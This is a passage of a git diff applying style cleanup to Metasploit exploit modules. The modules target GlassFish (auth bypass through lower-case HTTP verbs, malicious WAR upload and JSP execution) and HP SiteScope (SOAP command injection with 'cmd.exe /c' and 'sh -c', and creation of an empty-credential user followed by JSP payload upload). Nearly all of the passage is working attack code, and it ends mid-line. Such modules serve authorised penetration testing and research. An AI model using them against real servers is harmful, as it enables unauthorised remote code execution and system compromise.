"&propertyForm_hidden=propertyForm_hidden", + '&propertyForm%3AhelpKey=ref-applications.html', + '&propertyForm_hidden=propertyForm_hidden', "&javax.faces.ViewState=#{Rex::Text.uri_encode(viewstate)}", - "&com_sun_webui_util_FocusManager_focusElementId=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1", - "&javax.faces.source=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1", - "&javax.faces.partial.execute=%40all", - "&javax.faces.partial.render=%40all", - "&bare=true", - "&propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1", - "&javax.faces.partial.ajax=true" - ].join() + '&com_sun_webui_util_FocusManager_focusElementId=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1', + '&javax.faces.source=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1', + '&javax.faces.partial.execute=%40all', + '&javax.faces.partial.render=%40all', + '&bare=true', + '&propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1', + '&javax.faces.partial.ajax=true' + ].join path = '/common/applications/applications.jsf' ctype = 'application/x-www-form-urlencoded' @@ -274,10 +274,8 @@ class MetasploitModule < Msf::Exploit::Remote res = send_glassfish_request(path, @verbs['POST'], session, data, ctype) if !res print_error("Undeployment failed on #{path} - No Response") - else - if res.code < 200 || res.code >= 300 - print_error("Undeployment failed on #{path} - #{res.code.to_s}:#{res.message.to_s}") - end + elsif res.code < 200 || res.code >= 300 + print_error("Undeployment failed on #{path} - #{res.code}:#{res.message}") end end @@ -285,7 +283,7 @@ class MetasploitModule < Msf::Exploit::Remote report_note( host: rhost, type: 'glassfish.banner', - data: { :banner => banner }, + data: { banner: banner }, update: :unique_data ) end @@ -308,16 +306,16 @@ class MetasploitModule < Msf::Exploit::Remote # Set version. Some GlassFish servers return banner "GlassFish v3". if banner =~ /(GlassFish Server|Open Source Edition) {1,}(\d\.\d)/ - version = $2 + version = ::Regexp.last_match(2) elsif banner =~ /GlassFish v(\d)/ && version == 'Unknown' - version = $1 + version = ::Regexp.last_match(1) elsif banner =~ /Sun GlassFish Enterprise Server v2/ && version == 'Unknown' version = '2.x' elsif banner =~ /Sun Java System Application Server 9/ && version == 'Unknown' version = '9.x' end - if version == nil || version == 'Unknown' + if version.nil? || version == 'Unknown' print_status("Unsupported version: #{banner}") end @@ -329,7 +327,7 @@ class MetasploitModule < Msf::Exploit::Remote # # Return the formatted version of the POST data # - def format_2_x_war(boundary, name, value = nil, war = nil) + def format_2_x_war(boundary, name, _value = nil, war = nil) data = '' data << boundary @@ -380,57 +378,57 @@ class MetasploitModule < Msf::Exploit::Remote if version == '3.0' - uploadParam_name = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam" - uploadparam_data = "form:sheet1:section1:prop1:fileupload" + uploadParam_name = 'form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam' + uploadparam_data = 'form:sheet1:section1:prop1:fileupload' boundary = "--#{boundary}" data = [ format(boundary, app_base, nil, war), format(boundary, uploadParam_name, uploadparam_data), - format(boundary, "form:sheet1:section1:prop1:extension", ".war"), - format(boundary, "form:sheet1:section1:prop1:action", "client"), - format(boundary, typefield, "war"), - format(boundary, "form:war:psection:cxp:ctx", app_base), - format(boundary, "form:war:psection:nameProp:appName", app_base), - format(boundary, "form:war:psection:vsProp:vs", ""), - format(boundary, status_checkbox, "true"), - format(boundary, "form:war:psection:librariesProp:library", ""), - format(boundary, "form:war:psection:descriptionProp:description", ""), - format(boundary, "form_hidden", "form_hidden"), - format(boundary, "javax.faces.ViewState", viewstate), + format(boundary, 'form:sheet1:section1:prop1:extension', '.war'), + format(boundary, 'form:sheet1:section1:prop1:action', 'client'), + format(boundary, typefield, 'war'), + format(boundary, 'form:war:psection:cxp:ctx', app_base), + format(boundary, 'form:war:psection:nameProp:appName', app_base), + format(boundary, 'form:war:psection:vsProp:vs', ''), + format(boundary, status_checkbox, 'true'), + format(boundary, 'form:war:psection:librariesProp:library', ''), + format(boundary, 'form:war:psection:descriptionProp:description', ''), + format(boundary, 'form_hidden', 'form_hidden'), + format(boundary, 'javax.faces.ViewState', viewstate), "#{boundary}--" - ].join() + ].join elsif version == '2.x' || version == '9.x' - uploadParam_name = "form:title:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam" - uploadParam_data = "form:title:sheet1:section1:prop1:fileupload" + uploadParam_name = 'form:title:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam' + uploadParam_data = 'form:title:sheet1:section1:prop1:fileupload' - focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId" + focusElementId_name = 'com_sun_webui_util_FocusManager_focusElementId' focusElementId_data = 'form:title:topButtons:uploadButton' boundary = "-----------------------------#{boundary}" data = [ format_2_x_war(boundary, app_base, nil, war), - format(boundary, "form:title:sheet1:section1:type:appType", "webApp"), - format(boundary, "uploadRdBtn", "client"), + format(boundary, 'form:title:sheet1:section1:type:appType', 'webApp'), + format(boundary, 'uploadRdBtn', 'client'), format(boundary, uploadParam_name, uploadParam_data), - format(boundary, "form:title:sheet1:section1:prop1:extension", ".war"), - format(boundary, "form:title:ps:psec:nameProp:appName", app_base), - format(boundary, "form:title:ps:psec:cxp:ctx", app_base), - format(boundary, "form:title:ps:psec:vsp:vs", ""), - format(boundary, status_checkbox, "true"), - format(boundary, "form:title:ps:psec:librariesProp:library", ""), - format(boundary, "form:title:ps:psec:threadpoolProp:threadPool", ""), - format(boundary, "form:title:ps:psec:registryProp:registryType", ""), - format(boundary, "form:title:ps:psec:descriptionProp:description", ""), - format(boundary, "form:helpKey", "uploaddev.html"), - format(boundary, "form_hidden", "form_hidden"), - format(boundary, "javax.faces.ViewState", viewstate), + format(boundary, 'form:title:sheet1:section1:prop1:extension', '.war'), + format(boundary, 'form:title:ps:psec:nameProp:appName', app_base), + format(boundary, 'form:title:ps:psec:cxp:ctx', app_base), + format(boundary, 'form:title:ps:psec:vsp:vs', ''), + format(boundary, status_checkbox, 'true'), + format(boundary, 'form:title:ps:psec:librariesProp:library', ''), + format(boundary, 'form:title:ps:psec:threadpoolProp:threadPool', ''), + format(boundary, 'form:title:ps:psec:registryProp:registryType', ''), + format(boundary, 'form:title:ps:psec:descriptionProp:description', ''), + format(boundary, 'form:helpKey', 'uploaddev.html'), + format(boundary, 'form_hidden', 'form_hidden'), + format(boundary, 'javax.faces.ViewState', viewstate), format(boundary, focusElementId_name, focusElementId_data), "#{boundary}--" - ].join() + ].join else boundary = "-----------------------------#{boundary}" @@ -440,11 +438,6 @@ class MetasploitModule < Msf::Exploit::Remote num2 = num1 + 14 num3 = num2 + 2 num4 = num3 + 2 - num5 = num4 + 2 - num6 = num5 + 2 - num7 = num6 + 1 - - id0 = num4 id1 = num4 + 1 id2 = num4 + 2 id3 = num4 + 3 @@ -455,81 +448,81 @@ class MetasploitModule < Msf::Exploit::Remote id8 = num4 + 8 id9 = num4 + 9 - uploadParam_name = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam" - uploadParam_value = "form:sheet1:section1:prop1:fileupload" + uploadParam_name = 'form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam' + uploadParam_value = 'form:sheet1:section1:prop1:fileupload' - focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId" - focusElementId_data = "form:title2:bottomButtons:uploadButton" + focusElementId_name = 'com_sun_webui_util_FocusManager_focusElementId' + focusElementId_data = 'form:title2:bottomButtons:uploadButton' data = [ - format(boundary, "uploadRdBtn", "client"), + format(boundary, 'uploadRdBtn', 'client'), ## web service format(boundary, app_base, nil, war), ## sheet1 format(boundary, uploadParam_name, uploadParam_value), - format(boundary, "form:sheet1:section1:prop1:extension", ".war"), - format(boundary, "form:sheet1:section1:prop1:action", "client"), - format(boundary, "form:sheet1:sun_propertySheetSection#{num1.to_s}:type:appType", "war"), - format(boundary, "form:appClient:psection:nameProp:appName", "#{app_base}"), - format(boundary, "form:appClient:psection:descriptionProp:description"), + format(boundary, 'form:sheet1:section1:prop1:extension', '.war'), + format(boundary, 'form:sheet1:section1:prop1:action', 'client'), + format(boundary, "form:sheet1:sun_propertySheetSection#{num1}:type:appType", 'war'), + format(boundary, 'form:appClient:psection:nameProp:appName', "#{app_base}"), + format(boundary, 'form:appClient:psection:descriptionProp:description'), ## war - format(boundary, "form:war:psection:cxp:ctx", "#{app_base}"), - format(boundary, "form:war:psection:nameProp:appName", "#{app_base}"), - format(boundary, "form:war:psection:vsProp:vs"), - format(boundary, "form:war:psection:enableProp:sun_checkbox" + id1.to_s, "true"), - format(boundary, "form:war:psection:enableProp:sun_checkbox" + id2.to_s, "true"), - format(boundary, "form:war:psection:enableProp:sun_checkbox" + id3.to_s, "true"), - format(boundary, "form:war:psection:enableProp:sun_checkbox" + id4.to_s, "true"), - format(boundary, "form:war:psection:enableProp:sun_checkbox" + id5.to_s, "true"), - format(boundary, "form:war:psection:enableProp:sun_checkbox" + id6.to_s, "true"), - format(boundary, "form:war:psection:enableProp:sun_checkbox" + id7.to_s, "true"), - format(boundary, "form:war:psection:enableProp:sun_checkbox" + id8.to_s, "true"), - format(boundary, "form:war:psection:enableProp:sun_checkbox" + id9.to_s, "true"), - format(boundary, "form:other:psection:descriptionProp:description", ""), - format(boundary, "form:other:psection:librariesProp:library", ""), - format(boundary, "form:other:psection:deploymentOrder:deploymentOrder", ""), - format(boundary, "form:other:psection:implicitCdi:implicitCdi", "true"), - format(boundary, "form:other:psection:enableProp:sun_checkbox44", "true"), - format(boundary, "form:war:psection:enableProp:sun_checkbox42", "true"), - format(boundary, "form:other:psection:vsProp:vs", ""), - format(boundary, "form:rar:psection:implicitCdi:implicitCdi", "true"), - format(boundary, "form:rar:psection:deploymentOrder:deploymentOrder", ""), - format(boundary, "form:rar:psection:enableProp:sun_checkbox40", "true"), - format(boundary, "form:other:psection:nameProp:appName", app_base), - format(boundary, "form:rar:psection:nameProp:appName", app_base), - format(boundary, "form:jar:psection:nameProp:appName", app_base), - format(boundary, "form:ear:psection:nameProp:appName", app_base), - format(boundary, "form:ear:psection:descriptionProp:description", ""), - format(boundary, "form:jar:psection:deploymentOrder:deploymentOrder", ""), - format(boundary, "form:jar:psection:implicitCdi:implicitCdi", "true"), - format(boundary, "form:ear:psection:jw:jwc", "true"), - format(boundary, "form:ear:psection:vsProp:vs", ""), - format(boundary, "form:appClient:psection:deploymentOrder:deploymentOrder", ""), - format(boundary, "form:jar:psection:enableProp:sun_checkbox38", "true"), - format(boundary, "form:jar:psection:descriptionProp:description", ""), - format(boundary, "form:ear:psection:implicitCdi:implicitCdi", "true"), - format(boundary, "form:appClient:psection:implicitCdi:implicitCdi", "true"), - format(boundary, "form:ear:psection:enableProp:sun_checkbox36", "true"), - format(boundary, "form:war:psection:deploymentOrder:deploymentOrder", ""), - format(boundary, "form:jar:psection:librariesProp:library", ""), - format(boundary, "form:appClient:psection:jw:jwt", "true"), - format(boundary, "form:ear:psection:librariesProp:library", ""), - format(boundary, "form:sheet1:sun_propertySheetSection23:type:appType", "war"), - format(boundary, "form:ear:psection:deploymentOrder:deploymentOrder", ""), - format(boundary, "form:rar:psection:descriptionProp:description", ""), - format(boundary, "form:war:psection:implicitCdi:implicitCdi", "true"), - format(boundary, "form:war:psection:librariesProp:library"), - format(boundary, "form:war:psection:descriptionProp:description"), - format(boundary, "form_hidden", "form_hidden"), - format(boundary, "javax.faces.ViewState", "#{viewstate}"), + format(boundary, 'form:war:psection:cxp:ctx', "#{app_base}"), + format(boundary, 'form:war:psection:nameProp:appName', "#{app_base}"), + format(boundary, 'form:war:psection:vsProp:vs'), + format(boundary, 'form:war:psection:enableProp:sun_checkbox' + id1.to_s, 'true'), + format(boundary, 'form:war:psection:enableProp:sun_checkbox' + id2.to_s, 'true'), + format(boundary, 'form:war:psection:enableProp:sun_checkbox' + id3.to_s, 'true'), + format(boundary, 'form:war:psection:enableProp:sun_checkbox' + id4.to_s, 'true'), + format(boundary, 'form:war:psection:enableProp:sun_checkbox' + id5.to_s, 'true'), + format(boundary, 'form:war:psection:enableProp:sun_checkbox' + id6.to_s, 'true'), + format(boundary, 'form:war:psection:enableProp:sun_checkbox' + id7.to_s, 'true'), + format(boundary, 'form:war:psection:enableProp:sun_checkbox' + id8.to_s, 'true'), + format(boundary, 'form:war:psection:enableProp:sun_checkbox' + id9.to_s, 'true'), + format(boundary, 'form:other:psection:descriptionProp:description', ''), + format(boundary, 'form:other:psection:librariesProp:library', ''), + format(boundary, 'form:other:psection:deploymentOrder:deploymentOrder', ''), + format(boundary, 'form:other:psection:implicitCdi:implicitCdi', 'true'), + format(boundary, 'form:other:psection:enableProp:sun_checkbox44', 'true'), + format(boundary, 'form:war:psection:enableProp:sun_checkbox42', 'true'), + format(boundary, 'form:other:psection:vsProp:vs', ''), + format(boundary, 'form:rar:psection:implicitCdi:implicitCdi', 'true'), + format(boundary, 'form:rar:psection:deploymentOrder:deploymentOrder', ''), + format(boundary, 'form:rar:psection:enableProp:sun_checkbox40', 'true'), + format(boundary, 'form:other:psection:nameProp:appName', app_base), + format(boundary, 'form:rar:psection:nameProp:appName', app_base), + format(boundary, 'form:jar:psection:nameProp:appName', app_base), + format(boundary, 'form:ear:psection:nameProp:appName', app_base), + format(boundary, 'form:ear:psection:descriptionProp:description', ''), + format(boundary, 'form:jar:psection:deploymentOrder:deploymentOrder', ''), + format(boundary, 'form:jar:psection:implicitCdi:implicitCdi', 'true'), + format(boundary, 'form:ear:psection:jw:jwc', 'true'), + format(boundary, 'form:ear:psection:vsProp:vs', ''), + format(boundary, 'form:appClient:psection:deploymentOrder:deploymentOrder', ''), + format(boundary, 'form:jar:psection:enableProp:sun_checkbox38', 'true'), + format(boundary, 'form:jar:psection:descriptionProp:description', ''), + format(boundary, 'form:ear:psection:implicitCdi:implicitCdi', 'true'), + format(boundary, 'form:appClient:psection:implicitCdi:implicitCdi', 'true'), + format(boundary, 'form:ear:psection:enableProp:sun_checkbox36', 'true'), + format(boundary, 'form:war:psection:deploymentOrder:deploymentOrder', ''), + format(boundary, 'form:jar:psection:librariesProp:library', ''), + format(boundary, 'form:appClient:psection:jw:jwt', 'true'), + format(boundary, 'form:ear:psection:librariesProp:library', ''), + format(boundary, 'form:sheet1:sun_propertySheetSection23:type:appType', 'war'), + format(boundary, 'form:ear:psection:deploymentOrder:deploymentOrder', ''), + format(boundary, 'form:rar:psection:descriptionProp:description', ''), + format(boundary, 'form:war:psection:implicitCdi:implicitCdi', 'true'), + format(boundary, 'form:war:psection:librariesProp:library'), + format(boundary, 'form:war:psection:descriptionProp:description'), + format(boundary, 'form_hidden', 'form_hidden'), + format(boundary, 'javax.faces.ViewState', "#{viewstate}"), format(boundary, focusElementId_name, focusElementId_data) - ].join() + ].join - item_list_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_item_list" - item_list_data = "|server|com.sun.webui.jsf.separator|" + item_list_name = 'form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_item_list' + item_list_data = '|server|com.sun.webui.jsf.separator|' - item_value_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_list_value" - item_value_data = "server" + item_value_name = 'form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_list_value' + item_value_data = 'server' data << format(boundary, item_list_name, item_list_data) data << format(boundary, item_value_name, item_value_data) @@ -568,7 +561,7 @@ class MetasploitModule < Msf::Exploit::Remote version = opts[:version] if version == '2.x' || version == '9.x' - path = "/applications/upload.jsf?appType=webApp" + path = '/applications/upload.jsf?appType=webApp' res = send_glassfish_request(path, @verbs['GET'], session) # Obtain some properties @@ -577,12 +570,12 @@ class MetasploitModule < Msf::Exploit::Remote status_checkbox = res.body.scan(p2)[0][0] boundary = rand_text_alphanumeric(28) else - path = "/common/applications/uploadFrame.jsf" + path = '/common/applications/uploadFrame.jsf' res = send_glassfish_request(path, @verbs['GET'], session) # Obtain some properties res.body =~ /propertySheetSection(\d{3})/ - start = $1 + start = ::Regexp.last_match(1) p2 = /select class="MnuStd_sun4" id="form:sheet1:sun_propertySheetSection.*:type:appType" name="(.*)" size/ p3 = /input type="checkbox" id="form:war:psection:enableProp:sun_checkbox.*" name="(.*)" checked/ @@ -606,14 +599,14 @@ class MetasploitModule < Msf::Exploit::Remote end post_data = get_upload_data({ - :boundary => boundary, - :version => version, - :war => war, - :app_base => app_base, - :typefield => typefield, - :status_checkbox => status_checkbox, - :start => start, - :viewstate => viewstate + boundary: boundary, + version: version, + war: war, + app_base: app_base, + typefield: typefield, + status_checkbox: status_checkbox, + start: start, + viewstate: viewstate }) # Upload our payload @@ -629,7 +622,7 @@ class MetasploitModule < Msf::Exploit::Remote # Print upload result if res && res.code == 302 - print_good("Successfully Uploaded") + print_good('Successfully Uploaded') else print_error("Error uploading #{res.code}") return @@ -640,17 +633,17 @@ class MetasploitModule < Msf::Exploit::Remote nclient = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['APP_RPORT'], { 'Msf' => framework, - 'MsfExploit' => self, + 'MsfExploit' => self }) print_status("Executing #{jsp_path}...") req = nclient.request_raw({ 'uri' => jsp_path, - 'method' => 'GET', + 'method' => 'GET' }) if req - res = nclient.send_recv(req, 90) + nclient.send_recv(req, 90) else print_status("Error: #{rhost} did not respond on #{app_rport}.") end @@ -659,18 +652,18 @@ class MetasploitModule < Msf::Exploit::Remote select(nil, nil, nil, 5) # Start undeploying - print_status("Getting information to undeploy...") + print_status('Getting information to undeploy...') viewstate, entry = get_delete_info(session, version, app_base) if !viewstate - fail_with(Failure::Unknown, "Unable to get viewstate") - elsif (not entry) - fail_with(Failure::Unknown, "Unable to get entry") + fail_with(Failure::Unknown, 'Unable to get viewstate') + elsif (!entry) + fail_with(Failure::Unknown, 'Unable to get entry') end print_status("Undeploying #{app_base}...") undeploy(viewstate, session, entry) - print_status("Undeployment complete.") + print_status('Undeployment complete.') end def init_loginscanner @@ -694,7 +687,7 @@ class MetasploitModule < Msf::Exploit::Remote host: rhost, port: rport, proto: 'tcp', - refs: self.references + refs: references ) end @@ -702,7 +695,7 @@ class MetasploitModule < Msf::Exploit::Remote sid = nil if version == '2.x' || version == '9.x' - print_status("Trying auth bypass...") + print_status('Trying auth bypass...') res = send_glassfish_request('/applications/upload.jsf', 'get') title = 'Deploy Enterprise Applications/Modules' if res && res.code.to_i == 200 && res.body.include?(title) @@ -710,7 +703,7 @@ class MetasploitModule < Msf::Exploit::Remote end else # 3.0 - print_status("Trying auth bypass...") + print_status('Trying auth bypass...') res = send_glassfish_request('/common/applications/uploadFrame.jsf', 'get') title = 'Deploy Applications or Modules' if res && res.code.to_i == 200 && res.body.include?(title) @@ -724,11 +717,11 @@ class MetasploitModule < Msf::Exploit::Remote end def my_target_host - "http://#{rhost.to_s}:#{rport.to_s}#{normalize_uri(target_uri.path)}" + "http://#{rhost}:#{rport}#{normalize_uri(target_uri.path)}" end def service_details - super.merge({ post_reference_name: self.refname }) + super.merge({ post_reference_name: refname }) end def try_normal_login(version) @@ -794,10 +787,10 @@ class MetasploitModule < Msf::Exploit::Remote app_base = rand_text_alphanumeric(4 + rand(32 - 4)) war = p.encoded_war({ - :app_name => app_base, - :jsp_name => jsp_name, - :arch => selected_target.arch, - :platform => selected_target.platform + app_name: app_base, + jsp_name: jsp_name, + arch: selected_target.arch, + platform: selected_target.platform }).to_s return app_base, jsp_name, war @@ -818,27 +811,27 @@ class MetasploitModule < Msf::Exploit::Remote # Set HTTP verbs. Lower-case is used to bypass auth on v3.0 @verbs = { 'GET' => (version == '3.0' || version == '2.x' || version == '9.x') ? 'get' : 'GET', - 'POST' => (version == '3.0' || version == '2.x' || version == '9.x') ? 'post' : 'POST', + 'POST' => (version == '3.0' || version == '2.x' || version == '9.x') ? 'post' : 'POST' } sid = attempt_login(version) unless sid - fail_with(Failure::NoAccess, "#{my_target_host()} - GlassFish - Failed to authenticate") + fail_with(Failure::NoAccess, "#{my_target_host} - GlassFish - Failed to authenticate") end selected_target = target.name =~ /Automatic/ ? auto_target(sid, res, version) : target - fail_with(Failure::NoTarget, "Unable to automatically select a target") unless selected_target + fail_with(Failure::NoTarget, 'Unable to automatically select a target') unless selected_target app_base, jsp_name, war = make_war(selected_target) - print_status("Uploading payload...") - res = upload_exec({ - :session => sid, - :app_base => app_base, - :jsp_name => jsp_name, - :war => war, - :edition => edition, - :version => version + print_status('Uploading payload...') + upload_exec({ + session: sid, + app_base: app_base, + jsp_name: jsp_name, + war: war, + edition: edition, + version: version }) end end diff --git a/modules/exploits/multi/http/hp_sitescope_issuesiebelcmd.rb b/modules/exploits/multi/http/hp_sitescope_issuesiebelcmd.rb index 0deac713e1..052befe2b5 100644 --- a/modules/exploits/multi/http/hp_sitescope_issuesiebelcmd.rb +++ b/modules/exploits/multi/http/hp_sitescope_issuesiebelcmd.rb @@ -8,7 +8,7 @@ require 'rexml/document' class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking - HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } + HttpFingerprint = { pattern: [ /Apache-Coyote/ ] } include REXML include Msf::Exploit::Remote::HttpClient @@ -84,7 +84,7 @@ class MetasploitModule < Msf::Exploit::Remote end def check - value = rand_text_alpha(8 + rand(10)) + value = rand_text_alpha(rand(8..17)) res = send_soap_request(value) @@ -97,24 +97,24 @@ class MetasploitModule < Msf::Exploit::Remote def exploit if target.name =~ /Windows/ - print_status("Delivering payload...") + print_status('Delivering payload...') # cmd.exe max length is 8192 - execute_cmdstager({ :linemax => 8000, :nodelete => true }) + execute_cmdstager({ linemax: 8000, nodelete: true }) elsif target.name =~ /Linux/ - print_status("Executing payload...") - execute_command(payload.encoded, { :http_timeout => 1 }) + print_status('Executing payload...') + execute_command(payload.encoded, { http_timeout: 1 }) end end def execute_command(cmd, opts = {}) if target.name =~ /Windows/ - cmd.gsub!(/data = Replace\(data, vbCrLf, ""\)/, "data = Replace(data, \" \" + vbCrLf, \"\")") - command = "cmd.exe /c " - command << cmd.gsub(/&/, "&") # HTML Encode '&' character to avoid soap request parsing errors + cmd.gsub!(/data = Replace\(data, vbCrLf, ""\)/, 'data = Replace(data, " " + vbCrLf, "")') + command = 'cmd.exe /c ' + command << cmd.gsub(/&/, '&') # HTML Encode '&' character to avoid soap request parsing errors command << " & /u #{rand_text_alpha(4)} /p #{rand_text_alpha(4)}" # To bypass user and pass flags check before executing elsif target.name =~ /Linux/ - command = "sh -c " - command << cmd.gsub(/&/, "&") # HTML Encode '&' character to avoid soap request parsing errors + command = 'sh -c ' + command << cmd.gsub(/&/, '&') # HTML Encode '&' character to avoid soap request parsing errors command << " /u #{rand_text_alpha(4)} /p #{rand_text_alpha(4)}" # To bypass user and pass flags check before executing end @@ -130,26 +130,26 @@ class MetasploitModule < Msf::Exploit::Remote def get_soap_request xml = Document.new xml.add_element( - "soapenv:Envelope", + 'soapenv:Envelope', { - 'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance", - 'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema", - 'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/", - 'xmlns:api' => "http://Api.freshtech.COM" + 'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance', + 'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema', + 'xmlns:soapenv' => 'http://schemas.xmlsoap.org/soap/envelope/', + 'xmlns:api' => 'http://Api.freshtech.COM' } ) - xml.root.add_element("soapenv:Header") - xml.root.add_element("soapenv:Body") + xml.root.add_element('soapenv:Header') + xml.root.add_element('soapenv:Body') body = xml.root.elements[2] body.add_element( - "api:issueSiebelCmd", + 'api:issueSiebelCmd', { - 'soapenv:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/" + 'soapenv:encodingStyle' => 'http://schemas.xmlsoap.org/soap/encoding/' } ) ser = body.elements[1] - ser.add_element("in0", { 'xsi:type' => 'xsd:string' }) - ser.elements['in0'].text = "MSF_COMMAND" + ser.add_element('in0', { 'xsi:type' => 'xsd:string' }) + ser.elements['in0'].text = 'MSF_COMMAND' xml.to_s end diff --git a/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb b/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb index 28d0821f79..b8e6792ce1 100644 --- a/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb +++ b/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb @@ -6,7 +6,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking - HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } + HttpFingerprint = { pattern: [ /Apache-Coyote/ ] } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE @@ -85,18 +85,16 @@ class MetasploitModule < Msf::Exploit::Remote end def on_new_session(client) - if client.type == "meterpreter" - client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") + if client.type == 'meterpreter' + client.core.use('stdapi') if !client.ext.aliases.include?('stdapi') client.fs.file.rm("../#{@var_hexfile}.txt") client.fs.file.rm("../#{@jsp_name}.jsp") - else - if target['Platform'] == 'linux' - client.shell_command_token("rm ../#{@var_hexfile}.txt") - client.shell_command_token("rm ../#{@jsp_name}.jsp") - elsif target['Platform'] == 'win' - client.shell_command_token("del ..\\#{@var_hexfile}.txt") - client.shell_command_token("del ..\\#{@jsp_name}.jsp") - end + elsif target['Platform'] == 'linux' + client.shell_command_token("rm ../#{@var_hexfile}.txt") + client.shell_command_token("rm ../#{@jsp_name}.jsp") + elsif target['Platform'] == 'win' + client.shell_command_token("del ..\\#{@var_hexfile}.txt") + client.shell_command_token("del ..\\#{@jsp_name}.jsp") end end @@ -105,91 +103,91 @@ class MetasploitModule < Msf::Exploit::Remote @uri << '/' if @uri[-1, 1] != '/' # Create user with empty credentials - print_status("Creating user with empty credentials") + print_status('Creating user with empty credentials') if create_user.nil? - print_error("Failed to create user") + print_error('Failed to create user') return end # Generate an initial JSESSIONID - print_status("Retrieving an initial JSESSIONID") + print_status('Retrieving an initial JSESSIONID') res = send_request_cgi( 'uri' => normalize_uri(@uri, 'servlet/Main'), 'method' => 'POST' ) if res and res.code == 200 and res.get_cookies =~ /JSESSIONID=([0-9A-F]*);/ - session_id = $1 + session_id = ::Regexp.last_match(1) else - print_error("Retrieve of initial JSESSIONID failed") + print_error('Retrieve of initial JSESSIONID failed') return end # Authenticate - login_data = "j_username=&j_password=" + login_data = 'j_username=&j_password=' - print_status("Authenticating on HP SiteScope Configuration") + print_status('Authenticating on HP SiteScope Configuration') res = send_request_cgi( { 'uri' => normalize_uri(@uri, 'j_security_check'), 'method' => 'POST', 'data' => login_data, - 'ctype' => "application/x-www-form-urlencoded", + 'ctype' => 'application/x-www-form-urlencoded', 'headers' => { - 'Cookie' => "JSESSIONID=#{session_id}", + 'Cookie' => "JSESSIONID=#{session_id}" } } ) if res and res.code == 302 and res.get_cookies =~ /JSESSIONID=([0-9A-F]*);/ - session_id = $1 + session_id = ::Regexp.last_match(1) redirect = URI(res.headers['Location']).path else - print_error("Authentication on SiteScope failed") + print_error('Authentication on SiteScope failed') return end # Follow redirection to complete authentication process - print_status("Following redirection to finish authentication") + print_status('Following redirection to finish authentication') res = send_request_cgi( { 'uri' => redirect, 'method' => 'GET', 'headers' => { - 'Cookie' => "JSESSIONID=#{session_id}", + 'Cookie' => "JSESSIONID=#{session_id}" } } ) - if not res or res.code != 200 - print_error("Authentication on SiteScope failed") + if !res or res.code != 200 + print_error('Authentication on SiteScope failed') return end # Upload the JSP and the raw payload - @jsp_name = rand_text_alphanumeric(8 + rand(8)) + @jsp_name = rand_text_alphanumeric(rand(8..15)) # begin <payload>.jsp - var_hexpath = Rex::Text.rand_text_alpha(rand(8) + 8) - var_exepath = Rex::Text.rand_text_alpha(rand(8) + 8) - var_data = Rex::Text.rand_text_alpha(rand(8) + 8) - var_inputstream = Rex::Text.rand_text_alpha(rand(8) + 8) - var_outputstream = Rex::Text.rand_text_alpha(rand(8) + 8) - var_numbytes = Rex::Text.rand_text_alpha(rand(8) + 8) - var_bytearray = Rex::Text.rand_text_alpha(rand(8) + 8) - var_bytes = Rex::Text.rand_text_alpha(rand(8) + 8) - var_counter = Rex::Text.rand_text_alpha(rand(8) + 8) - var_char1 = Rex::Text.rand_text_alpha(rand(8) + 8) - var_char2 = Rex::Text.rand_text_alpha(rand(8) + 8) - var_comb = Rex::Text.rand_text_alpha(rand(8) + 8) - var_exe = Rex::Text.rand_text_alpha(rand(8) + 8) - @var_hexfile = Rex::Text.rand_text_alpha(rand(8) + 8) - var_proc = Rex::Text.rand_text_alpha(rand(8) + 8) - var_fperm = Rex::Text.rand_text_alpha(rand(8) + 8) - var_fdel = Rex::Text.rand_text_alpha(rand(8) + 8) + var_hexpath = Rex::Text.rand_text_alpha(rand(8..15)) + var_exepath = Rex::Text.rand_text_alpha(rand(8..15)) + var_data = Rex::Text.rand_text_alpha(rand(8..15)) + var_inputstream = Rex::Text.rand_text_alpha(rand(8..15)) + var_outputstream = Rex::Text.rand_text_alpha(rand(8..15)) + var_numbytes = Rex::Text.rand_text_alpha(rand(8..15)) + var_bytearray = Rex::Text.rand_text_alpha(rand(8..15)) + var_bytes = Rex::Text.rand_text_alpha(rand(8..15)) + var_counter = Rex::Text.rand_text_alpha(rand(8..15)) + var_char1 = Rex::Text.rand_text_alpha(rand(8..15)) + var_char2 = Rex::Text.rand_text_alpha(rand(8..15)) + var_comb = Rex::Text.rand_text_alpha(rand(8..15)) + var_exe = Rex::Text.rand_text_alpha(rand(8..15)) + @var_hexfile = Rex::Text.rand_text_alpha(rand(8..15)) + var_proc = 